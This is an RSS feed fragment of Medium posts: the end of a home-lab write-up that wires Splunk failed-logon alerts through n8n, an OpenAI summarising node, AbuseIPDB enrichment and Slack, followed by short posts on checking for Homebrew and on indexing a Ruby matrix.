/></figure><p>Lastly, I created a snapshot of the AW-Splunk-VM to preserve the working state and allow rollback if needed.</p><h3>Configuring Windows VM for Log Forwarding</h3><p>I connected to AW-Windows10 via RDP and installed the Splunk Universal Forwarder to enable log collection and forwarding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*U20oBhPv5lqPzygt-mti1Q.png" /></figure><p>During the installation process, I configured the forwarder to send collected Windows Security Event Logs to the AW-Splunk-VM receiving indexer on TCP port 9997.</p><p>After installation, I navigated to the Universal Forwarder’s local configuration directory, created the inputs.conf file, and edited it to specify which Windows Security Event Logs to collect and forward Splunk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A6G8rYRnPMbkkjvKNvb5Ug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*5NeJ3LmJt-xe6qeLJfEEmg.png" /></figure><p>Once the configuration was complete, I saved the file and restarted the Universal Forwarder service to apply the changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZL-hsqt4tYocu7pR2yvnMw.png" /></figure><p>To verify successful log forwarding, I ran a search in Splunk: index=aw-project</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7siPSA5_Ydv4rxFAkksHhQ.png" /></figure><p>I confirmed that Windows Security events from AW-Windows10 were ingested as expected.</p><h3>Deploying n8n</h3><p>On AW-N8N-VM, I installed Docker and Docker Compose. First, I updated the operating system and installed dependencies, including Docker:</p><pre>sudo apt-get update &amp;&amp; sudo apt-get upgrade -y<br>sudo apt install -y ca-certificates curl gnupg lsb-release<br>sudo apt install docker.io</pre><p>I verified that Docker Compose was available and created a directory n8n-compose to store all n8n configuration files.</p><pre>docker-compose<br>mkdir n8n-compose<br>cd n8n-compose</pre><p>Within the n8n-compose directory, I created a Docker Compose file (docker-compose.yaml) and defined the n8n services.</p><pre>sudo nano docker-compose.yaml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*qmDz8WxfsR4l3P2Dz_sNwg.png" /></figure><p>After defining the configuration, I pulled the latest n8n Docker image and started the container in detached mode:</p><pre>sudo docker-compose pull<br>sudo docker-compose up -d</pre><p>Docker automatically created a persistent data directory named n8n_data to store workflows and credentials outside the container.</p><p>To prevent permission issues, I updated the ownership of this directory to match the container’s internal user ID.</p><pre>sudo chown -R 1000:1000 n8n_data/<br>sudo docker-compose down<br>sudo docker-compose up -d</pre><p>I then restarted the n8n container to apply the permission changes and verified access to the n8n web interface on port 5678.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*8_pou3bgdBgLTZuJV1I6Fg.png" /></figure><p>Once deployment was complete, I created a snapshot of AW-N8N-VM to preserve the working state and enable rapid rollback if needed.</p><h3>Creating a Splunk Alert</h3><p>To simulate a brute force attack, I repeatedly entered incorrect credentials during RDP login attempts on AW-Windows10, generating Windows Security Event ID 4625.</p><p>In Splunk, I created a search query to detect these events:</p><pre>index=aw-project EventCode=4625</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L23csA2G_3nNMuK_EPdH7w.png" /></figure><p>Then I refined the search query:</p><pre>index=aw-project EventCode=4625 | stats count by _time, ComputerName, user, src_ip</pre><p>This query aggregated failed login attempts by timestamp, system, user account, and source IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6RJ8cv5kfSfaxZdGI4xVlQ.png" /></figure><p>I saved this search as an alert named Test-Brute-Force, scheduled it to run every minute, and configured a webhook to forward alerts to n8n.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9hwaU7aLCRYTDM_uGeQSDg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zwnJZ5EGvZ0rP45xzMzGbw.png" /></figure><h3>Integrating Splunk with n8n</h3><p>In n8n, I created a new workflow with a Webhook node configured to accept POST requests. I copied the generated webhook URL from n8n into Splunk’s alert settings page.</p><p>I triggered the Splunk alert and verified that n8n successfully received the payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SQGOf6M_sMRuXB8mUqGq5Q.png" /></figure><h3>Leveraging ChatGPT for Alert Processing</h3><p>I added an OpenAI node to summarize and analyze alerts. I generated an API key through the OpenAI platform, added it to n8n, and purchased API credits to allow workflow execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TRbJfyzkHPlOtFyCesfffg.png" /></figure><p>I configured the OpenAI node with two message roles:</p><p>Role: System — Defines the AI’s behavior and instructions for analyzing alerts.<br>System role prompt:</p><blockquote><em>You are a Tier 1 SOC analyst assistant. When given a security alert or incident (including indicators of compromise, logs, metadata), perform these steps:</em></blockquote><blockquote><em>1. Summarize the alert — Provide a clear summary of what triggered the alert, which systems/users are affected, and the nature of the activity (e.g., suspicious login, malware detection, lateral movement).</em></blockquote><blockquote><em>2. Enrich with threat intelligence — correlate any IoCs (IP addresses, domains, hashes) with known threat intel sources. For any IP enrichment, use the tool named ‘AbuseIPDB-Enrichment’. Highlight if the indicators are associated with known malware or threat actors.</em></blockquote><blockquote><em>3. Assess severity: Based on MITRE ATT&amp;CK mapping, identify tactics/techniques, and provide an initial severity rating (Low, Medium, High, Critical).</em></blockquote><blockquote><em>4. Recommend next actions — Suggest investigation steps and potential containment actions.</em></blockquote><blockquote><em>5. Format output clearly: Return results in a structured format with the following sections and bold the headers.<br>- Summary<br>- IoC Enrichment<br>- Severity Assessment<br>- Recommended Actions<br>Always follow this structure, be concise, and avoid adding unrelated commentary.</em></blockquote><p>Role: User — Dynamically passes Splunk alert data to the AI model so that each alert is processed using real-time incident context.<br>User role prompt:</p><blockquote><em>Alert: {{ $json.body.search_name }}<br>Alert Details: {{ JSON.stringify($json.body.result,null,2) }}</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2klUAU0K_dEAz2IyaZRyCg.png" /></figure><h3>Delivering Alerts to Slack</h3><p>I created a dedicated #alerts channel and added a Slack node to the workflow. I configured the required OAuth scopes and authenticated the connection using my Slack bot user OAuth token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jq4bfU0W3Tbz666aKP2RNQ.png" /></figure><p>The output from the OpenAI node was passed directly to the Slack node.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qf6jznQO30CNUATl5eTVOQ.png" /></figure><p>Once the workflow was executed, AI-enriched alerts posted automatically in the #alerts channel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g2kd4Taoe4ZxHqefS80k2w.png" /></figure><h3>Integrating IoC Enrichment with AbuseIPDB</h3><p>To provide additional context, I integrated AbuseIPDB into the n8n workflow by adding an HTTP Request tool as a branch from the OpenAI node. This tool queries the AbuseIPDB API and was configured by importing the cURL command for the CHECK endpoint and adding my API key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vJJ1p-TNUNgQiv4LycNx4A.png" /></figure><p>I then set the ipAddress query parameter value to be defined automatically by the model, allowing the AI to dynamically enrich IPs extracted from Splunk alerts with reputation data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0kSYl1WWwvVGfGA9iOwidg.png" /></figure><p>I renamed the tool AbuseIPDB-enrichment for clarity and updated the OpenAI system prompt to instruct the AI to call this tool for any IP enrichment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*5gPvKRsD6VQw4cyOCo2VLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ziK1PNckYN7XXXSl9QSRlg.png" /></figure><p>This allowed the AI to automatically retrieve IP reputation data and include it in Slack alerts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8doKiDInOUK4JXcyHtmSVA.png" /></figure><h3>Outcome</h3><p>The completed workflow successfully detected brute force activity in real time, enriched alerts with AI-driven analysis and OSINT data, and delivered actionable notifications to Slack. This demonstrates how SOC automation reduces manual log review, improves incident response times, and orchestrates detection, enrichment, and notification through n8n.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JxlTjpCTv7WYoxK0tzqErA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e6368bb0955f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to check if Homebrew has been installed on macOS X]]></title>
            <link>https://medium.com/@anniehswong/how-to-check-if-homebrew-has-been-installed-on-macos-x-8fc0756c86e3?source=rss-8a6ba062ffef------2</link>
            <guid isPermaLink="false">https://medium.com/p/8fc0756c86e3</guid>
            <dc:creator><![CDATA[Annie Wong]]></dc:creator>
            <pubDate>Wed, 26 Apr 2017 01:06:26 GMT</pubDate>
            <atom:updated>2017-04-26T01:06:26.842Z</atom:updated>
            <content:encoded><![CDATA[<p>on your terminal type: <strong>which brew</strong></p><p>if it returns: <strong>/usr/local/bin/brew</strong></p><p>it means that homebrew is installed.</p><p>if it returns: <strong>brew not found</strong></p><p>it means homebrew is not installed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y45QZU2dxNUH58BZ12JWZw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8fc0756c86e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Matrix Problem]]></title>
            <link>https://medium.com/@anniehswong/matrix-problem-6604bca92f0d?source=rss-8a6ba062ffef------2</link>
            <guid isPermaLink="false">https://medium.com/p/6604bca92f0d</guid>
            <dc:creator><![CDATA[Annie Wong]]></dc:creator>
            <pubDate>Wed, 19 Apr 2017 07:21:34 GMT</pubDate>
            <atom:updated>2017-04-19T07:21:34.091Z</atom:updated>
            <content:encoded><![CDATA[<p>Language: Ruby</p><p>matrix = Array.new</p><p>matrix.push ([1, 2, 3])</p><p>matrix.push ([4, 5, 6])</p><p>matrix.push ([7, 8, 9])</p><p>x = matrix[0][2] + matrix[2][1]</p><p>matrix[0] == ([1, 2, 3)]</p><p>matrix[0][2] == 3</p><p>matrix[2] == ([7, 8, 9])</p><p>matrix[2][1] == 8</p><p>x = matrix[0][2] + matrix[2][1]</p><p>x = 3 + 8</p><p>x = 11</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6604bca92f0d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>